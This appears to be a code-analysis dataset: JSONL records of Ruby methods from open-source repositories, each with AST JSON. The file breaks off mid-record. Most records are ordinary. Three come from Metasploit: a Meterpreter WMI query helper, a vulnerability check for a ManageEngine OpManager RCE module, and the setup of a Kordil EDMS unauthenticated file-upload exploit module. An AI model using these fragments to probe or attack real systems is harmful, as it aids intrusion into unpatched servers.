{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":534,"raw_source":"def run\n      run!\n    rescue Failure => exception\n      raise if context.object_id != exception.context.object_id\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run!\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"object_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"context\"]},\"object_id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]}]},null]}]}","id":"3ff9735c-b34e-4720-a39c-a4aa1d253619"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_indentation.rb","start_line":144,"raw_source":"def base_indent_level(node)\n          base_line_num = node.source_range.line\n          base_line = processed_source.lines[base_line_num - 1]\n          indent_level(base_line)\n        end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"base_indent_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_line_num\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"line\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"lines\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_line_num\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"indent_level\",{\"type\":\"lvar\",\"children\":[\"base_line\"]}]}]}]}","id":"d8aa6b0c-1d58-4651-bcfe-4f415abb3ca7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/new_base/render_plain_test.rb","start_line":70,"raw_source":"def with_ivar_in_layout\n      @ivar = \"hello world\"\n      render plain: \"hello world\", layout: \"ivar\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_ivar_in_layout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ivar\",{\"type\":\"str\",\"children\":[\"hello world\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"hello world\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"ivar\"]}]}]}]}]}]}","id":"913bc431-f248-4e73-82bc-c1b1ae4a9b5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/import_export/configuration_helper.rb","start_line":20,"raw_source":"def config_hash(config = Gitlab::ImportExport.config_file)\n    Gitlab::ImportExport::Config.new(config: config).to_h\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"config_file\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Config\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},\"to_h\"]}]}","id":"02437990-ea6a-4983-9aac-512cab06f26f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_field_text_box.rb","start_line":88,"raw_source":"def value_supposed_to_be_int?\n    data_type == \"integer\" && @value.to_s !~ /^[0-9]+$/\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"value_supposed_to_be_int?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@value\"]},\"to_s\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[0-9]+$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"b91703e1-386f-4e33-a31b-7045188b6942"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":783,"raw_source":"def git_init_command\n        if capture_command(\"git config init.defaultbranch\").present?\n          return \"git init\"\n        end\n\n        git_version = `git --version`[/\\d+\\.\\d+\\.\\d+/]\n\n        if Gem::Version.new(git_version) >= Gem::Version.new(\"2.28.0\")\n          \"git init -b main\"\n        else\n          \"git init && git symbolic-ref HEAD refs/heads/main\"\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"git_init_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_command\",{\"type\":\"str\",\"children\":[\"git config init.defaultbranch\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"git init\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"git_version\",{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git --version\"]}]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"git_version\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.28.0\"]}]}]},{\"type\":\"str\",\"children\":[\"git init -b main\"]},{\"type\":\"str\",\"children\":[\"git init && git symbolic-ref HEAD refs/heads/main\"]}]}]}]}","id":"cbc71dd2-fb81-4cc3-aae4-c6c83ffc7085"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1180,"raw_source":"def diff_head_sha\n    if merge_request_diff.persisted?\n      merge_request_diff.head_commit_sha\n    else\n      source_branch_head.try(:sha)\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_head_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff\"]},\"head_commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_branch_head\"]},\"try\",{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]}","id":"849b93f7-1606-4896-b0f3-98293bce84e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb","start_line":31,"raw_source":"def query(query, root = nil)\n    request = Packet.create_request(COMMAND_ID_EXTAPI_WMI_QUERY)\n\n    request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.to_s.strip.empty?\n    request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query)\n\n    response = client.send_request(request)\n\n    # Bomb out with the right error messa\n    error_msg = response.get_tlv_value(TLV_TYPE_EXT_WMI_ERROR)\n    raise error_msg if error_msg\n\n    fields = []\n    fields_tlv = response.get_tlv(TLV_TYPE_EXT_WMI_FIELDS)\n\n    # If we didn't get any fields back, then we didn't get any results.\n    # The reason is because without results, we don't know which fields\n    # were requested in the first place\n    return nil unless fields_tlv\n\n    fields_tlv.each(TLV_TYPE_EXT_WMI_FIELD) { |f|\n      fields << f.value\n    }\n\n    values = []\n    response.each(TLV_TYPE_EXT_WMI_VALUES) { |r|\n      value = []\n      r.each(TLV_TYPE_EXT_WMI_VALUE) { |v|\n        value << v.value\n      }\n      values << value\n    }\n\n    return {\n      :fields  => fields,\n      :values => values\n    }\n  end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"optarg\",\"children\":[\"root\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_EXTAPI_WMI_QUERY\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"to_s\"]},\"strip\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_DOMAIN\"]},{\"type\":\"lvar\",\"children\":[\"root\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_QUERY\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_msg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_ERROR\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_msg\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error_msg\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"fields_tlv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_FIELDS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_tlv\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_tlv\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_FIELD\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_VALUES\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_EXT_WMI_VALUE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}","id":"2cb3dcf8-25dd-4b6a-a8da-0a014eb68724"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/jobs_resolver.rb","start_line":46,"raw_source":"def init_collection(security_report_types)\n        if security_report_types.present?\n          ::Security::SecurityJobsFinder.new(\n            pipeline: pipeline,\n            job_types: security_report_types\n          ).execute\n        else\n          pipeline.statuses_order_id_desc\n        end\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"init_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"security_report_types\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"security_report_types\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Security\"]},\"SecurityJobsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_types\"]},{\"type\":\"lvar\",\"children\":[\"security_report_types\"]}]}]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"statuses_order_id_desc\"]}]}]}","id":"cd507098-2324-4eea-a518-0945d3848eb3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manage_engine_opmanager_rce.rb","start_line":58,"raw_source":"def check\n    # Check version\n    vprint_status(\"Trying to detect ManageEngine OpManager\")\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri, 'LoginPage.do')\n    })\n\n    unless res && res.code == 200\n      return Exploit::CheckCode::Safe\n    end\n\n    if res.body =~ /OpManager.*v\\.([0-9]+\\.[0-9]+)<\\/span>/\n      version = $1\n      if Rex::Version.new(version) <= Rex::Version.new('11.6')\n        return Exploit::CheckCode::Appears\n      else\n        # Patch unknown\n        return Exploit::CheckCode::Detected\n      end\n    elsif res.body =~ /OpManager/\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":20.93,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trying to detect ManageEngine OpManager\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"LoginPage.do\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"OpManager.*v\\\\.([0-9]+\\\\.[0-9]+)</span>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"11.6\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"OpManager\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}]}","id":"97b823ee-4036-45c6-bf9a-b7b488ac19f8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/core_extensions/test_date_time.rb","start_line":19,"raw_source":"def test_change_method\n    actual = @date.change(day: 5)\n    assert_equal Date.civil(2008,1,5), actual\n\n    actual = @date.change(year: 2016)\n    assert_equal Date.civil(2016,1,1), actual\n\n    actual = @date.change(month: 5)\n    assert_equal Date.civil(2008,5,1), actual\n\n    actual = @date.change(year: 2015, month: 5, day: 3)\n    assert_equal Date.civil(2015,5,3), actual\n  end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_change_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2016]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2016]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@date\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2015]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"1d9f5643-17b4-4657-81b9-ab6aa8d1d6de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/integrations/propagation/bulk_operation_hashes.rb","start_line":32,"raw_source":"def bulk_insert_new(model, items_to_insert)\n        model.insert_all(\n          items_to_insert,\n          returning: [:id]\n        ).rows.flatten\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_insert_new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"items_to_insert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"items_to_insert\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"rows\"]},\"flatten\"]}]}","id":"0ea57b93-ef22-4bf3-98c3-bdb8475c02f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/kordil_edms_upload_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability\",\n        'Description' => %q{\n          This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.\n          This application has an upload feature that allows an unauthenticated user\n          to upload arbitrary files to the '/kordil_edms/userpictures/' directory.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'bcoles' # Discovery and exploit\n        ],\n        'References' => [\n          ['CVE', '2013-10066'],\n          ['OSVDB', '90645'],\n          ['EDB', '24547'],\n        ],\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['Automatic Targeting', { 'auto' => true }]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2013-02-22',\n        'DefaultTarget' => 0,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_fs_delete_file\n            ]\n          }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),\n      ]\n    )\n\n    self.needs_cleanup = true\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.\\n\"]},{\"type\":\"str\",\"children\":[\"          This application has an upload feature that allows an unauthenticated user\\n\"]},{\"type\":\"str\",\"children\":[\"          to upload arbitrary files to the '/kordil_edms/userpictures/' directory.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-10066\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"90645\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"24547\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Targeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-02-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"std